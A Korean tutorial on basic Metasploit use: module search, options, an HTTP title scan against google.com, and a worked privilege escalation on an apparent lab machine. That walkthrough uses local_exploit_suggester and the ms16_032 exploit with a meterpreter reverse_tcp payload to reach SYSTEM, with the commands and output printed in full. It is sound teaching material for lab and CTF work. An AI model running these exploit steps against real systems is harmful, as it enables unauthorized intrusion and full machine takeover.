Metasploit 사용법

Metasploit 은 Rapid7 이라는 회사에서 유지, 관리하는 오픈소스 침투 테스트 프레임워크다. 다양한 취약점에 대한 데이터베이스를 가지고, 이를 공격할 수 있는 페이로드를 생성, 실행할 수 있는 기능을 가져 CTF, 침투 테스트, 등에서 유용하게 사용된다.
Metasploit 의 기능은 워낙 방대해서 전부 다룰 수 없지만, 이 글에서는 기본적인 사용법과 접근 방법에 대해 설명하겠다.

1. Metasploit 사용법
Metasploit 은 매우 많은 기능을 가지며, 이에 대한 자세한 사용법은 Metasploit Documentation 에서 자세히 설명하고 있다. 이 글에서는 Metaploit 에 대한 기본적인 개념과 사용법에 대해서만 설명하니 상세한 내용은 공식 문서를 참고하자.
아래 글은 Kali Linux 에서 실행한다고 가정한다.
1.1 모듈 선택
Kali Linux 에는 Metasploit 가 기본적으로 설치되어 있으며, msfconsole
명령어로 실행할 수 있다.
$ msfconsole
Metasploit 을 성공적으로 실행하면 프롬프트가 msf6 >
로 바뀌는 것을 확인할 수 있다. 이 순간부터 Metasploit 명령어들을 실행할 수 있다.
msf6 >
우선 Mesploit 에서 제공하는 여러 종류의 모듈 중 어떤 것을 사용할 것인지 결정해야 한다. search
명령어를 실행하면 Metasploit 에 등록된 모듈과 관련된 정보들을 검색할 수 있다.
msf6 > search type:auxiliary http html title tag
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/title normal No HTTP HTML Title Tag Content Grabber
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title
msf6 >
모듈 타입에는 다음과 같은 4가지 타입이 존재한다.
- Auxiliary : auxiliary 모듈은 직접적인 exploit 기능은 없지만 데이터를 수집하거나 정보 관리와 관련된 작업을 수행할 수 있다.
- Exploit : exploit 모듈은 대상의 취약점을 공격하여 임의의 코드를 수행할 수 있다.
- Payloads : payload 모듈은 사용자 생성, 셸 생성, 등의 작업을 수행할 수 있는 임의의 코드를 원격 머신에서 실행한다.
- Post : post 모듈은 대상 머신을 exploit한 이후의 작업을 돕는다. 예를 들어 데이터를 수집하거나 처리하는 기능을 수행한다.
info
명령어는 모듈에 관한 상세한 정보를 출력한다.
msf6 > info auxiliary/scanner/http/title
Name: HTTP HTML Title Tag Content Grabber
Module: auxiliary/scanner/http/title
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
Check supported:
No
... 후략 ...
use
명령어는 지정한 모듈을 사용할 것을 명령한다. 모듈 로딩에 성공하면 프롬프트에 로딩된 모듈의 이름이 추가된다. 아래 예시에서는 auxiliary/scanner/http/title
모듈을 로딩하여 프롬프트가 msf6 auxiliary(scanner/http/title) >
로 변경되었다.
# auxiliary/scanner/http/title 모듈을 사용.
msf6 > use auxiliary/scanner/http/title
# auxiliary/scanner/http/title 모듈을 사용 중임을 프롬프트에서 표시.
msf6 auxiliary(scanner/http/title) >
1.2 옵션 설정
모듈을 선택했다면, 실행하기에 앞서 모듈에서 요구하는 옵션을 설정해야 한다. 각 모듈들은 실행을 위해 필수로 필요한 옵션(Required
)과 선택적인 옵션(Optional
)으로 나뉜다. 모듈을 실행하기 위해서는 최소한 필수 옵션들은 반드시 적절하게 입력해야 한다.
모듈에서 사용 가능한 옵션에 대한 정보는 show options
명령어를 실행하면 확인할 수 있다. 아래 예시는 auxiliary/scanner/http/title
모듈에서 사용 가능한 옵션의 목록을 보여주고 있다.
msf6 auxiliary(scanner/http/title) > show options
Module options (auxiliary/scanner/http/title):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SHOW_TITLES true yes Show the titles on the console as they are grabbed
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_NOTES true yes Store the captured information in notes. Use "notes -t http.title" to view
TARGETURI / yes The base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/title) >
옵션 표의 머릿말은 다음과 같은 의미를 가진다.
- Name : 옵션의 이름.
- Current Setting : 현재 설정된 옵션 값. 일부 옵션은 기본 값을 가질 수 있다.
- Required : 해당 옵션의 필수 여부. 이 값이
yes
이면 모듈을 실행하기 전에 반드시 적절한 값을 설정해야 한다. - Description : 옵션에 대한 자세한 설명을 보여준다.
set {옵션 이름} {옵션 값}
명령어는 모듈에서 사용할 옵션 값을 지정할 수 있다. 아래 예시는 RHOSTS
옵션의 값을 google.com
으로 지정하는 것을 보여준다.
msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
RHOSTS => google.com
모든 옵션을 적절하게 설정했다면, run
명령어로 지정한 옵션들을 기반으로 선택한 모듈의 기능을 실행한다.
msf6 auxiliary(scanner/http/title) > run
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
위 예시에서는 정찰 기능을 수행하는 auxiliary
모듈을 보여줬지만, 만약 exploit 모듈을 사용했다면 공격 대상 머신과 리버스 셸이 수립되면서 세션을 생성할 수도 있다. 이 경우 프롬프트가 meterpreter
로 바뀌면서 해당 머신에서 다양한 명령어를 수행할 수 있다. help
명령어를 실행하면 meterpreter
상태에서 실행 가능한 명령어들을 확인할 수 있다.
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
... 후략 ...
만약 다시 msf6
프롬프트 상태로 돌아가고 싶다면 background
명령어를 실행하면 된다.
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) >
msf6
프롬프트 상태에서 다시 특정 세션에 접속하고 싶다면 우선 show sessions
명령어로 현재 수립된 세션 목록을 확인한 후, sessions {세션 번호}
로 접속하면 된다.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows OPTIMUM\kostas @ OPTIMUM 10.10.14.7:4444 -> 10.10.10.8:49166 (10.10.10.8)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ OPTIMUM 10.10.14.7:4444 -> 10.10.10.8:49168 (10.10.10.8)
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > sessions 2
[*] Starting interaction with 2...
2. Suggester 모듈을 이용한 권한 상승
Metasploit 을 이용해 유저 권한을 획득하는데 성공하면, 그 다음 단계는 권한을 상승시켜 관리자 권한을 얻는 것이다. Metasploit 에서 제공하는 몇몇 모듈은 exploit 에 성공하는 즉시 관리자 권한을 얻을 수도 있지만, 일부 모듈은 유저 권한을 얻는데 그치기 때문에 또 다른 취약점을 이용해 권한 상승을 해야 한다.
exploit 한 머신을 탐색하여 직접 취약점을 찾을 수 있다면 좋겠지만, 찾기 어렵거나 귀찮다면 Suggester 모듈을 이용해 자동으로 권한 상승 취약점을 찾을 수 있다.
우선 공격 대상 머신을 metasploit 으로 장악한 후, 세션을 생성해야 한다. 세션 생성 후 background
명령어를 실행하면 프롬프트가 meterpreter
에서 msf6
로 돌아온다.
meterpreter > background
msf6
프롬프트로 돌아온 후, local_exploit_suggester
모듈을 로딩한다.
msf6 exploit(windows/http/rejetto_hfs_exec) > use local_exploit_suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
[*] Using post/multi/recon/local_exploit_suggester
show options
명령어를 실행하면 local_exploit_suggester
모듈에서 필요한 옵션들을 확인할 수 있다.
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
View the full module info with the info, or info -d command.
SESSION
옵션 값이 필수적으로 필요하니 설정해야 한다. show sessions
명령어를 실행하면 현재 수립된 세션 목록을 확인할 수 있다.
msf6 post(multi/recon/local_exploit_suggester) > show sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows OPTIMUM\kostas @ OPTIMUM 10.10.14.7:4444 -> 10.10.10.8:49166 (10.10.10.8)
미리 만들어둔 세션을 옵션으로 지정한다.
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
run
명령어를 실행하면 모듈이 실행되며 자동으로 공격 대상 머신의 권한 상승 취약점을 탐색한다. 아래 예시에서는 총 6개의 잠재적 취약점을 발견했다. 이 취약점들이 반드시 공격에 성공한다는 보장은 없지만 테스트해볼 가치는 있다.
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.8 - Collecting local exploits for x86/windows...
[*] 10.10.10.8 - 198 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.8 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.8 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
5 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
6 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
7 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
8 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
... 후략 ...
앞선 과정과 마찬가지로 권한 상승에 사용할 모듈을 선택하고, 옵션을 지정하고, 실행하면 된다. 예시에서는 exploit/windows/local/ms16_032_secondary_logon_handle_privesc
모듈을 사용해보겠다.
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.119.138 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST tun0
LHOST => 10.10.14.7
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on 10.10.14.7:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\eDNNzwMti.ps1...
[*] Compressing script contents...
[+] Compressed size: 3739
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
... 후략 ...
meterpreter
프롬프트 상태에서 getuid
명령어를 실행한 결과 NT AUTHORITY\SYSTEM
인 것으로 보아 관리자 권한을 획득한 것을 확인할 수 있다.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM